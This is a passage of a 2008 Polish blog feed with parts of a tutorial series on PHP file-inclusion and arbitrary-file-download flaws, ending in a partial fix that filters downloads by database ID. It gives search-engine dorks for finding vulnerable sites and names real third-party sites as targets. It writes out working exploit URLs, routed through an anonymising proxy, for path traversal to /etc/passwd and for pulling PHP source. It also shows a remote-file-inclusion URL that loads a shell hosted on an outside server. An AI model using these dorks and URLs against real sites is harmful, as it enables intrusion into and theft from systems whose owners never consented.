<p>Tak mogłyby wyglądać frazy wyszukiwania <a title="Google" href="http://www.google.pl/">Google</a>. W tym ostatnim wypadku zawężamy wyszukiwania do domen o rozszerzeniu <strong>.pl</strong> oraz wyszukujemy w nich jedną z dwóch podanych nazw parametrów plików php. Oczywiście nic nie stoi na przeszkodzie, aby przerobić to zapytanie na bliższe własnym potrzebą.</p>
<p>Inny sposobem na wyszukiwanie tego typu błędów jest wpisywanie fraz związanych z ostrzeżeniami funkcji na których luka się opiera (takich jak <code>require()</code>, <code>file()</code>, czy inne wymienione w drugim paragrafie). Niestety jest to metoda zawodna, gdyż nie każda tego typu informacja zwracana w skrypcie jest wykładnikiem błędu i nie zawsze są one także indeksowane przez wyszukiwarki. Można je jednak niekiedy użyć z wcześniej wymienionym sposobem w celu zwiększenia prawdopodobieństwa, że wykryty przez nas domniemany błąd jest nim naprawdę.</p>
<div class="code dean_ch" style="white-space: nowrap;">Warning: require()<br />
Warning: file()<br />
Warning: fopen()<br />
Warning: file_get_contents()</div>
<p>Największe prawdopodobieństwo trafienia na podatny kod ostrzeżenie na stronie powinno wyglądać mniej więcej jak to (należy zwrócić uwagę na rozszerzenie otwieranego pliku oraz rodzaj funkcji wczytującej pliki):</p>
<div class="code dean_ch" style="white-space: nowrap;">Warning: include() [function.include]: Failed opening '...php' for inclusion (include_path='.:/usr/share/pear') in /adres_wzgledny/index.php on line 13</div>
<p style="text-align: center;"><img src="http://farm4.static.flickr.com/3025/2952278149_295638be67_o.png" alt="Path Disclosure App" /></p>
<div class="code dean_ch" style="white-space: nowrap;">inurl:automotive.co.uk (&quot;.php?site=&quot; OR &quot;.php?file=&quot; OR &quot;.php?page=&quot; OR &quot;.php?f=&quot;)</div>
<p>W taki oto sposób, po ciut przypadkowych poszukiwaniach otrzymałem przykład nieodpowiednio zabezpieczonego skryptu.</p>
<div class="code dean_ch" style="white-space: nowrap;">http://www.riverside-automotive.co.uk/index.php?f=data_home&amp;a=9</div>
<p>Link z pierwszej strony wyników. Dla pewności sprawdziłem występowanie luki poprzez <a title="Path Disclosure" href="http://utnij.eu/file_disclosure_scanner/">jeden</a> z krążących po internecie programów do ich wykrywania (po czym przetestowałem ponownie napisanym <a href="http://dev.m1chu.eu/index.php?title=Include_File_Disclosure_Scanner" title="Include File Disclosure Scanner"><strong>przeze mnie</strong></a> skanerem - jest to wersja rozwojowa więc może mieć ciut błędów - wymaga minimum <a href="http://utnij.eu/net_2/" title=".NET Framework 2.0">.NET Framework 2.0</a> - więcej w komentarzach). Rezultat pozytywny - "mission completed" <img src='http://vivee.info/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<div class="code dean_ch" style="white-space: nowrap;">http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.riverside-automotive.co.uk/index.php?f=../../../../../../../../etc/passwd</div>
<p>Pewnie niektórzy drapią się z Was po głowie, dlaczego ten punkt opisałem "po łebkach". Wszystko ze względu, że metodologia wykrywania tego typu bugów jest praktycznie taka sama jak w przypadku poprzednio opisywanej przeze mnie problematyki zabezpieczeń (wspomniane już dwukrotnie AFD).</p>
<p>I na koniec przykładowy link działania zewnętrznego shella (skrypt wykonywany zdalnie - z innego serwera - przykładami są: <strong>r57.php</strong>, <strong>s72.php</strong>, czy <strong>c99.php</strong>) wobec RFI, już bez zbędnego opisu. Jak zwykle zaznaczam także, że wszelkie przykłady zamieszczone w tymże, a także w kolejnych artykułach są na zasadach edukacyjnych. <strong>Proszę nie wykorzystywać ich do jakiegokolwiek niszczenia prac autorów zamieszczonych tu stron!</strong></p>
<div class="code dean_ch" style="white-space: nowrap;">Podatna strona: http://anonymouse.org/cgi-bin/anon-www.cgi/http://hilrockkor.josiniserver.dk/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=<br />
Przykładowy shell: http://www.mykr.net/bbs/id.txt?<br />
// Shell wykorzystywany na utnij.eu<br />
Pełny adres: http://anonymouse.org/cgi-bin/anon-www.cgi/http://hilrockkor.josiniserver.dk/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.mykr.net/bbs/id.txt?</div>
<p>Jeśli ktoś chce zobaczyć konstrukcję shellów to zapraszam na <a title="Prawdopodobnie najlepszy serwis do skracania linków" href="http://utnij.eu/">utnij.eu</a>, gdzie w statystykach skróconych ostatnio odnośników można znaleźć wiele tego typu skryptów, co jest wynikiem prób jakiś osobników shackowania tego serwisu. Jak na razie bezowocnych... na szczęście...</p>
<p style="font-size: 9px;">copyright &copy; 2008, <strong>m1chu</strong></p>
<p style="font-size: 9px;">udostępnione na licencji <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/" title="CC">CC</a> dla <strong>vivee.info</strong> i <strong>m1chu.eu</strong></p>
<img src="http://vivee.info/?ak_action=api_record_view&id=164&type=feed" alt="" /><p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fvivee.info%2F2008%2F10%2F20%2Fjak-zabezpieczyc-skrypt-phpmysql-czesc-2-luki-local-file-include-lfi-i-remote-file-include-rfi%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p>]]></content:encoded>
			<wfw:commentRss>http://vivee.info/2008/10/20/jak-zabezpieczyc-skrypt-phpmysql-czesc-2-luki-local-file-include-lfi-i-remote-file-include-rfi/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Jak zabezpieczyć skrypt PHP/MySQL? Część 1: luka Arbitrary File Download (AFD)</title>
		<link>http://vivee.info/2008/09/24/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd/</link>
		<comments>http://vivee.info/2008/09/24/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd/#comments</comments>
		<pubDate>Wed, 24 Sep 2008 20:58:54 +0000</pubDate>
		<dc:creator>m1chu</dc:creator>
				<category><![CDATA[Skrypty server-side]]></category>

		<guid isPermaLink="false">http://vivee.info/?p=158</guid>
		<description><![CDATA[Postanowiłem podejść do sprawy zabezpieczeń w wielu wpisach. Pisanie o bezpieczeństwie w jednym byłoby długie i cholernie monotonne. Zaczniemy więc tym razem niestandardowo, bo od ataku typu Arbitrary File Download (szczerze większej publikacji o tym nie znalazłem) - z reguły rzadszym, ale bardzo niebezpiecznym, a to wszystko jak sama nazwa mówi z powodu możliwości ściągnięcia [...]]]></description>
			<content:encoded><![CDATA[<p>Postanowiłem podejść do sprawy zabezpieczeń w wielu wpisach. Pisanie o bezpieczeństwie w jednym byłoby długie i cholernie monotonne. Zaczniemy więc tym razem niestandardowo, bo od ataku typu <strong>Arbitrary File Download</strong> (szczerze większej publikacji o tym nie znalazłem) - z reguły rzadszym, ale bardzo niebezpiecznym, a to wszystko jak sama nazwa mówi z powodu możliwości ściągnięcia dowolnego pliku na serwerze na którym wykonywany jest odpowiedni plik php.</p>
<p><span id="more-158"></span><br />
Tłumacząc na polski nazwę tej luki otrzymalibyśmy mniej lub bardziej dosłownie translację w stylu <strong>"Pobieranie dowolnego pliku"</strong>. Stąd moje krótkie tłumaczenie w powyższym paragrafie.</p>
<p>Z teoretycznego punktu widzenia dokładniej wygląda to tak, że za pomocą parametru w adresie pliku przeznaczonego do ściągania innych plików z serwera możemy spreparować tak adres, aby pozwolił on nam ściągnąć pliki domyślnie przez programistę nieprzeznaczone do takiego zabiegu. Wiąże się to niedostateczną, a najczęściej po prostu z brakiem filtracji elementu (np. zmiennej) odpowiedzialnego za pobieranie argumentu.</p>
<p>Pokażę prosty przykład pliku (nazwijmy go <strong>download.php</strong>) który jest podatny na tego typu atak:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span></p>
<p><span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'file'</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">'Cache-control: private'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">'Content-Length: '</span> . <a href="http://www.php.net/filesize"><span class="kw3">filesize</span></a><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'file'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">'Content-Type: application/octet-stream'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">'Content-Disposition: attachment; filename='</span> . <a href="http://www.php.net/basename"><span class="kw3">basename</span></a><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'file'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>; <span class="co1">// nagłówek ustawiający zawartość jako załącznik</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/readfile"><span class="kw3">readfile</span></a><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'file'</span><span class="br0">&#93;</span><span class="br0">&#41;</span>; <span class="co1">// ściągnięcie pliku</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw2">?&gt;</span></div>
<p>I pomimo, że intencją programisty było ściąganie dzięki temu plikowi np. dokumentów PDF, to my dzięki jego niefrasobliwości bez problemu możemy wykorzystać go do... pobierania pozostałych plików PHP. Co najważniejsze - <strong>nieprzeparsowanych</strong>! <strong>Po prostu czysty kod PHP w takiej formie jaką twórca strony umieścił na serwerze</strong>. Jedyne co nas w tym wypadku ogranicza to funkcja <strong>readfile</strong> która standardowo nie nadaje się do pobierania dużych plików, a także czas wykonywania skryptu i wielkość bufora ustawiona w pliku konfiguracyjnym PHP.</p>
<p>Wracając do przykładów. Na wyimaginowanym odnośniku powiedzmy linkującego do dokumentu PDF wyglądało by to tak:</p>
<div class="code dean_ch" style="white-space: nowrap;">www.strona_internetowa.pl/catalog/download.php?file=specyfikacja.pdf</div>
<p>Pierwsza myśl która Wam może przyjść do głowy to podmienić po prostu <strong>specyfikacja.pdf</strong> na inny plik. Standardowo mógłby być to <strong>index.php</strong>, gdyż ściągając jego zawartość otrzymamy informację o nazwach innych powiązanych z nim plików. Niekoniecznie jednak plik ten musi się znajdować w tym samym katalogu co <strong>download.php</strong>, czy <strong>specyfikacja.pdf</strong>. </p>
<p>W pierwszym przypadku widzimy, że plik PHP którym ściągamy pozostałe źródła znajduje się w podkatalogu. Dlatego dla pewności możemy wypróbować dwa spreparowane linki:</p>
<div class="code dean_ch" style="white-space: nowrap;">www.strona_internetowa.pl/catalog/download.php?file=index.php // plik znajdowałby się wtedy pod /catalog/index.php<br />
www.strona_internetowa.pl/catalog/download.php?file=../index.php // plik znajdowałby się wtedy bezpośrednio w strona_internetowa.pl/index.php</div>
<p>W drugim punkcie sprawa wygląda tak, że plik <strong>specyfikacja.pdf</strong> nie musi się znajdować w tym samym katalogu co <strong>download.php</strong> <em>pomimo</em>, że w odnośniku nie jest podana do niego inna ścieżka. Wystarczy, że twórca strony w w.w. przeze mnie kodzie zmieni linijkę z <strong>readfile</strong> (a także linię odpowiedzialną za pobieranie wielkości pliku) na:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="br0">&#91;</span>...<span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">'Content-Length: '</span> . <a href="http://www.php.net/filesize"><span class="kw3">filesize</span></a><span class="br0">&#40;</span><span class="st0">'./podkatalog/kolejny/'</span> . <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'file'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#91;</span>...<span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/readfile"><span class="kw3">readfile</span></a><span class="br0">&#40;</span><span class="st0">'./podkatalog/kolejny/'</span> . <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'file'</span><span class="br0">&#93;</span><span class="br0">&#41;</span>; <span class="co1">// ściągnięcie pliku</span></p>
<p><span class="kw2">?&gt;</span></div>
<p>W takim wypadku jego pliki PDF są po prostu ściągane z:</p>
<div class="code dean_ch" style="white-space: nowrap;">www.strona_internetowa.pl/catalog/podkatalog/kolejny/</div>
<p>I tu rodzi się kolejne rozwiązanie - używanie przejść do katalogów nadrzędnych. Jeśli w tym wypadku chcielibyśmy ściągnąć <strong>index.php</strong> z głównego katalogu to wystarczy po prostu wpisać taki adres w przeglądarce:</p>
<div class="code dean_ch" style="white-space: nowrap;">www.strona_internetowa.pl/catalog/download.php?file=../../../index.php</div>
<p>Spytacie może:</p>
<blockquote><p>W takim bądź razie skąd ja mam wiedzieć, gdzie wreszcie znajduje się ten mój pożądany plik?</p></blockquote>
<p>Jeśli zaczynasz się w to bawić to najprościej będzie robić to metodą prób i błędów poprzez przejścia do podkatalogów i katalogów nadrzędnych. Jeżeli któreś z kolei nie zadziała to albo skrypt jest zabezpieczony, albo po prostu nie ma dostępu do pliku którego szukasz na serwerze (tak może być niekiedy z poszukiwaniem np. systemowego <strong>/etc/passwd</strong>). Innym sposobem jest użycie jakiegoś downloadera plików w stylu <em>wget</em>, czy innych Windowsowych zamienników, po czym analiza struktury katalogów serwisu. Zabieg w miarę prosty (chodzi o użytkowanie tych narzędzi) więc chyba tłumaczyć nie muszę.</p>
<p style="text-align: center;"><a href="http://farm4.static.flickr.com/3065/2846837230_1f619ac3df_o.png" title="Przykład działania AFD" onclick="this.target='_blank';"><img src="http://farm4.static.flickr.com/3065/2846837230_890dce249f.jpg" alt="Przykład działania AFD" /></a></p>
<p>Jak to wygląda już tak kompletnie w praktyce życiowej. Wiele osób twierdzi, że nie jest łatwo znaleźć taki błąd. Fakt, co nie zmienia faktu, że nie jest to niemożliwe. Specjalnie dla Was dzisiaj w nocy za pomocą Google wyszukałem <strong>pięć</strong> stron podatnych na ten atak. Jedną z nich wybiorę jako przykład ukazania wyszukania strony, błędu i ostatecznie jego edukacyjnego użycia.</p>
<h1>1. Przeszukujemy Google...</h1>
<p>Możemy to oczywiście zrobić na różne sposoby. Osobiście użyje tejże wyszukiwarki, a stronę znajdywać będę poprzez frazy wyszukiwania, np. takie:</p>
<div class="code dean_ch" style="white-space: nowrap;">inurl:.eu (getfile.php OR get.php OR file.php OR download.php)<br />
inurl:home.pl (getfile.php OR get.php OR file.php OR download.php)</div>
<p>Tłumacząc, zostaną wyszukane wszelkie zindeksowane strony w domenie <strong>.eu</strong> (europejskiej) lub <strong>home.pl</strong> z co najmniej jednym plikiem podanym w nawiasie. Oczywiście można rzucić światło imaginacji i podać więcej plików które mogłyby być podanym wyżej przeze mnie źródłem ściągania, ale nam wystarczą tylko te.</dd>
<h1>2. Znalezienie celu...</h1>
<p>Już na pierwszej stronie pierwszej frazy, i drugiej stronie drugiej frazy możemy znaleźć obiekty potencjalnie narażone na atak.</p>
<div class="code dean_ch" style="white-space: nowrap;">http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=./issues/2007-12/MohrContiniUK.pdf</p>
<p>http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=AGP_notka_prasowa.doc</p></div>
<h1>3. Spreparowanie parametru...</h1>
<p>Wystarczy tylko wejść pod jeden z tych adresów i spróbować ściągnąć dla przykładu <strong>index.php</strong>. Co się rzuca od razu w oczy to fakt, że w drugim przypadku <em>prawdopodobnie</em> plik przez nas pożądany będzie znajdować się dwa katalogi wyżej niż aktualnie jesteśmy.</p>
<div class="code dean_ch" style="white-space: nowrap;">http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=index.php</p>
<p>http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=../../index.php</p></div>
<h1>4. Co dalej?</h1>
<p>No właśnie. Nie zrobię Wam tu do końca kursu jak włamać się komuś na stronę. Bo posiadając dostęp do plików można bez problemu dostać się do bazy (o ile takowa istnieje), a co za tym idzie po prostu zostawić <strong><em>"OWNED"</em></strong> (o <a href="http://utnij.eu/phising/" title="Phising Wiki" onclick="this.target='_blank';">phishingowym</a> wykorzystaniu chyba nie trzeba wspominać). Powiem tylko tyle, że znając PHP można bez problemu w takim momencie poznać strukturę plików, z tym co napisałem powyżej także ściągnąć je, a w tym te odpowiadające za konfiguracje czy hasła.</p>
<div class="code dean_ch" style="white-space: nowrap;">http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=../../skins/default.skin.php // inny przykład linku wyciągniętego z źródła index.php<br />
http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=download.php // ściągnięcie pliku download.php</div>
<p>Na koniec kwestia która jest priorytetem i kulminacją tego wpisu.</p>
<blockquote><p>Jak się do ku**y zabezpieczyć przed tym?!</p></blockquote>
<p>Przede wszystkim należy filtrować dane. Zawsze należy, bo nawet jak nie trzeba to prócz większej ilości operacji nic więcej się serwisowi nie stanie z tego powodu. Taka drobna dygresja. Pytanie brzmi, jak to zrobić?</p>
<p style="text-align: center;"><a href="http://farm4.static.flickr.com/3139/2846061969_2c415035c7_o.png" title="Przykład działania AFD" onclick="this.target='_blank';"><img src="http://farm4.static.flickr.com/3139/2846061969_d1ebeb2a33.jpg" alt="Przykład działania AFD" /></a></p>
<p>I tu już wszystko zależy od inwencji webmastera. Pokaże dwa przykłady w zależności od podawanego argumentu.</p>
<h1>Ściąganie pliku poprzez ID i wykorzystanie bazy danych MySQL.</h1>
<p>Przede wszystkim musimy utworzyć prostą tabelę. Zakładam, że wszystkie pliki będą się znajdować w jednym katalogu (powiedzmy <strong>download</strong>).</p>
<div class="sql dean_ch" style="white-space: nowrap;"><span class="kw1">CREATE</span> <span class="kw1">TABLE</span> files <span class="br0">&#40;</span> file_id SMALLINT <span class="kw1">UNSIGNED</span> <span class="kw1">PRIMARY</span> <span class="kw1">KEY</span> <span class="kw1">AUTO_INCREMENT</span>, file_name VARCHAR<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span> <span class="kw1">NOT</span> <span class="kw1">NULL</span> <span class="br0">&#41;</span> COMMENT <span class="sy0">=</span> <span class="st0">'file_id; 0-65535; klucz glowny : file_name; 0-255; niepusty'</span>, MAX_ROWS <span class="sy0">=</span> <span class="nu0">65535</span>;</div>
<p>Nasz zabugowany wyżej plik możemy zamienić na coś takiego (użyłem czystych funkcji PHP dla MySQL, jeśli ktoś zna rozszerzenie MySQLi albo moduł PEAR DB to nie będzie miał problemu z przepisaniem sobie tego):</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="kw1">require_once</span> <span class="st0">'./config.php'</span>; <span class="co1">// plik konfiguracyjny z tablica danych do bazy danych</span><br />
<span class="kw1">require_once</span> <span class="st0">'./mimes.inc.php'</span>; <span class="co1">// plik z funkcja rozpoznajaca typy mime (function getMimeType(file))</span></p>
<p><span class="re0">$file</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="br0">&#40;</span> <a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'file'</span><span class="br0">&#93;</span><span class="br0">&#41;</span> ? <a href="http://www.php.net/intval"><span class="kw3">intval</span></a><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">'file'</span><span class="br0">&#93;</span><span class="br0">&#41;</span> : <span class="nu0">0</span> <span class="br0">&#41;</span>; <span class="co1">// filtracja parametru file zawierajacego domyslnie w sobie liczby calkowite</span></p>
<p><span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$file</span> <span class="br0">&#41;</span> <span class="co1">// jesli $file jest rozne od 0 tzn ze w parametrze zostalo wpisane ID w postaci cyfry</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$connection</span> = <a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$db</span><span class="br0">&#91;</span><span class="st0">'host'</span><span class="br0">&#93;</span>, <span class="re0">$db</span><span class="br0">&#91;</span><span class="st0">'user'</span><span class="br0">&#93;</span>, <span class="re0">$db</span><span class="br0">&#91;</span><span class="st0">'pass'</span><span class="br0">&#93;</span><span class="br0">&#41;</span> === <span class="kw2">false</span> <span class="br0">&#41;</span> <span class="co1">// laczenie z baza danych za pomoca danych z tablic $db pliku config.php</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Blad polaczenia z baza danych: '</span> . <a href="http://www.php.net/mysql_error"><span class="kw3">mysql_error</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$db</span><span class="br0">&#91;</span><span class="st0">'base'</span><span class="br0">&#93;</span><span class="br0">&#41;</span>; <span class="co1">// wybor bazy danych</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$fetched</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <a href="http://www.php.net/mysql_fetch_assoc"><span class="kw3">mysql_fetch_assoc</span></a><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">'SELECT count(file_id) as counted, file_name<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FROM files<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WHERE file_id = '</span> . <span class="re0">$file</span> . <span class="st0">'<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GROUP BY file_id<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LIMIT 1'</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span>; <span class="co1">// zapytanie zliczajace i zwracajace liczbe rekordow o file_id = $file oraz nazwe pliku o podanym ID</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$fetched</span><span class="br0">&#91;</span><span class="st0">'counted'</span><span class="br0">&#93;</span> == <span class="nu0">1</span> <span class="br0">&#41;</span> <span class="co1">// jesli powyzsze zapytanie zliczylo 1 wiersz tzn ze ID jest prawidlowe</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// szybka, dodatkowo filtracja poprzez zamiane encji na znaki i usuniecie ewentualny /</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// UWAGA! filtracja dokladna wpisywanych danych powinna byc przeprowadzona przy wprowadzaniu pliku do bazy&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/strpos"><span class="kw3">strpos</span></a><span class="br0">&#40;</span><span class="re0">$fetched</span><span class="br0">&#91;</span><span class="st0">'file_name'</span><span class="br0">&#93;</span>, <span class="st0">'../'</span><span class="br0">&#41;</span> === <span class="kw2">false</span> <span class="sy0">&amp;&amp;</span> <a href="http://www.php.net/file_exists"><span class="kw3">file_exists</span></a><span class="br0">&#40;</span><span class="st0">'./download/'</span> . <span class="re0">$fetched</span><span class="br0">&#91;</span><span class="st0">'file_name'</span><span class="br0">&#93;</span><span class="br0">&#41;</span> === <span class="kw2">true</span> <span class="br0">&#41;</span> <span class="co1">// sprawdzenie istnienia pliku</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// wyslanie odpowiednich naglowkow</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">'Cache-control: private'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">'Content-Length: '</span> . <a href="http://www.php.net/filesize"><span class="kw3">filesize</span></a><span class="br0">&#40;</span><span class="st0">'./download/'</span> . <span class="re0">$fetched</span><span class="br0">&#91;</span><span class="st0">'file_name'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">'Content-Type: '</span> . getMimeType<span class="br0">&#40;</span><span class="re0">$fetched</span><span class="br0">&#91;</span><span class="st0">'file_name'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>; <span class="co1">// wyslanie odpowiedniego typu MIME pliku zwracanego przez funkcje getMimeType (do napisania ;])</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">'Content-Disposition: attachment; filename='</span> . <a href="http://www.php.net/basename"><span class="kw3">basename</span></a><span class="br0">&#40;</span><span class="re0">$fetched</span><span class="br0">&#91;</span><span class="st0">'file_name'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// odczytanie pliku</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/readfile"><span class="kw3">readfile</span></a><span class="br0">&#40;</span><span class="st0">'./download/'</span> . <span class="re0">$fetched</span><span class="br0">&#91;</span><span class="st0">'file_name'</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Plik o podanym ID nie istnieje!'</span>; <span class="co1">// nie znaleziono pliku o podanym ID na serwerze, blad!</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span><br />
